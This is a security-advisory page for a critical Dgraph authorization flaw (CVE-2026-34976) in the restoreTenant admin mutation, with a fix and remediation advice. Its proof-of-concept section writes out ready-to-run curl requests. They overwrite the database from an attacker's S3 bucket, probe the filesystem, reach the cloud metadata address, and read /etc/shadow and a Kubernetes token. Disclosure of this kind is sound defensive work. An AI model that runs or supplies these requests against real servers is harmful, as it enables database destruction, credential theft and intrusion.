Skip to main content

Docker EUVDEUVD-2026-19360

| CVE-2026-34976 CRITICAL
Missing Authorization (CWE-862)
2026-04-02 https://github.com/dgraph-io/dgraph GHSA-p5rh-vmhp-gvcw
10.0
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

5
Re-analysis Queued
Apr 22, 2026 - 19:52 vuln.today
cvss_changed
EUVD ID Assigned
Apr 02, 2026 - 21:01 euvd
EUVD-2026-19360
Analysis Generated
Apr 02, 2026 - 21:01 vuln.today
Patch released
Apr 02, 2026 - 21:01 nvd
Patch available
CVE Published
Apr 02, 2026 - 20:44 nvd
CRITICAL 10.0

DescriptionGitHub Advisory

The restoreTenant admin mutation is missing from the authorization middleware config (admin.go:499-522), making it completely unauthenticated. Unlike the similar restore mutation which requires Guardian-of-Galaxy authentication, restoreTenant executes with zero middleware.

This mutation accepts attacker-controlled backup source URLs (including file:// for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.

Authentication Bypass

Every admin mutation has middleware configured in adminMutationMWConfig (admin.go:499-522) EXCEPT restoreTenant. The restore mutation has gogMutMWs (Guardian of Galaxy auth + IP whitelist + logging). restoreTenant is absent from the map.

When middleware is looked up at resolve/resolver.go:431, the map returns nil. The Then() method at resolve/middlewares.go:98 checks len(mws) == 0 and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.

PoC 1: Pre-Auth Database Overwrite

The attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:

No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.

curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/evil-backup\", accessKey: \"AKIAIOSFODNN7EXAMPLE\", secretKey: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\", anonymous: false }, fromNamespace: 0 }) { code message } }" }'

Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}}

The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).

The resolver at admin/restore.go:54-74 passes location, accessKey, secretKey directly to worker.ProcessRestoreRequest. The worker at online_restore.go:98-106 connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.

Note: the anonymous: true flag (minioclient.go:108-113) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a public S3 bucket without providing any AWS keys:

mutation { restoreTenant(input: { restoreInput: { location: "s3://public-attacker-bucket/evil-backup", anonymous: true }, fromNamespace: 0 }) { code message } }

Live PoC Results (Dgraph v24.x Docker)

Tested against dgraph/dgraph:latest in Docker. Side-by-side comparison:

restore (HAS middleware) -> BLOCKED

$ curl ... '{"query": "mutation { restore(...) { code } }"}' {"errors":[{"message":"resolving restore failed because unauthorized ip address: 172.25.0.1"}]}

restoreTenant (MISSING middleware) -> AUTH BYPASSED

$ curl ... '{"query": "mutation { restoreTenant(...) { code } }"}' {"errors":[{"message":"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID"}]}

The restore mutation is blocked by the IP whitelist middleware. The restoreTenant mutation bypasses all middleware and reaches the backup verification logic.

Filesystem enumeration also confirmed with distinct error messages:

  • /etc/ (exists): "No backups with the specified backup ID" (directory scanned)
  • /nonexistent/ (doesn't exist): "The uri path doesn't exists" (path doesn't exist)
  • /tmp/ (exists, empty): "No backups with the specified backup ID" (directory scanned)

PoC 2: Local Filesystem Probe via file:// Scheme

curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///etc/\" }, fromNamespace: 0 }) { code message } }" }'

Error response reveals whether /etc/ exists and its structure.

backup_handler.go:130-132 creates a fileHandler for file:// URIs.

fileHandler.ListPaths at line 161-166 walks the local filesystem.

fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))

PoC 3: SSRF via S3 Endpoint

curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://169.254.169.254/latest/meta-data/\" }, fromNamespace: 0 }) { code message } }" }'

The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.

Error response may leak cloud metadata information.

PoC 4: Vault SSRF + Server File Path Read

curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/backup\", accessKey: \"AKIA...\", secretKey: \"...\", vaultAddr: \"http://internal-service:8080\", vaultRoleIDFile: \"/var/run/secrets/kubernetes.io/serviceaccount/token\", vaultSecretIDFile: \"/etc/passwd\", encryptionKeyFile: \"/etc/shadow\" }, fromNamespace: 0 }) { code message } }" }'

vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080

vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk

encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag

Fix

Add restoreTenant to adminMutationMWConfig:

"restoreTenant": gogMutMWs,

Koda Reef

AnalysisAI

Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks against Dgraph graph database servers (v24.x, v25.x prior to v25.3.1) via the admin API's restoreTenant mutation. The mutation bypasses all authentication middleware due to missing authorization configuration, allowing attackers to provide arbitrary backup source URLs (including file:// schemes for local filesystem access), S3/MinIO credentials, Vault configuration paths, and encry

Technical ContextAI

Dgraph is a distributed graph database written in Go (github.com/dgraph-io/dgraph). The admin GraphQL API implements tenant restore functionality through the restoreTenant mutation, which should require Guardian-of-Galaxy authentication (gogMutMWs middleware) similar to the restore mutation. However, the adminMutationMWConfig map at admin.go:499-522 omits restoreTenant entirely. During middleware resolution (resolve/resolver.go:431), the lookup returns nil, and the Then() method at resolve/middlewares.go:98 detects len(mws)==0 and returns the resolver directly, completely bypassing authentication, IP whitelisting, and audit logging. The root cause is CWE-862 (Missing Authorization), where a privileged operation was inadvertently exposed without access control. The mutation accepts RestoreInput parameters including location (URI), accessKey/secretKey (S3 credentials), vaultAddr/vaultRoleIDFile/vaultSecretIDFile (Vault config), and encryptionKeyFile paths. The backup handler (backup_handler.go) supports file://, s3://, and minio:// URI schemes, creating fileHandler (lines 130-132) or S3/MinioClient instances (line 257) that perform direct filesystem or network operations. The fileHandler.Read method (line 153) executes os.ReadFile on attacker-controlled paths, while ListPaths (lines 161-166) walks local directories. The restore workflow (online_restore.go:98-106, admin/restore.go:54-74) passes user input directly to worker.ProcessRestoreRequest without validation, enabling path traversal and SSRF.

RemediationAI

Immediately upgrade to Dgraph v25.3.1 or later, released at https://github.com/dgraph-io/dgraph/releases/tag/v25.3.1, which includes commit b15c87e9353e36618bf8e0df3bd945c0ce7105ef adding restoreTenant to the adminMutationMWConfig map with gogMutMWs middleware enforcement. For Docker deployments, update image tags to dgraph/dgraph:v25.3.1 and restart alpha nodes. Kubernetes users should update Helm charts or StatefulSet manifests to reference the patched version and perform rolling updates. No configuration changes are required beyond version upgrade-the fix automatically enforces Guardian-of-Galaxy authentication, IP whitelisting, and audit logging for restor

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2026-46339 CRITICAL POC
10.0 May 19

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at

Share

EUVD-2026-19360 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy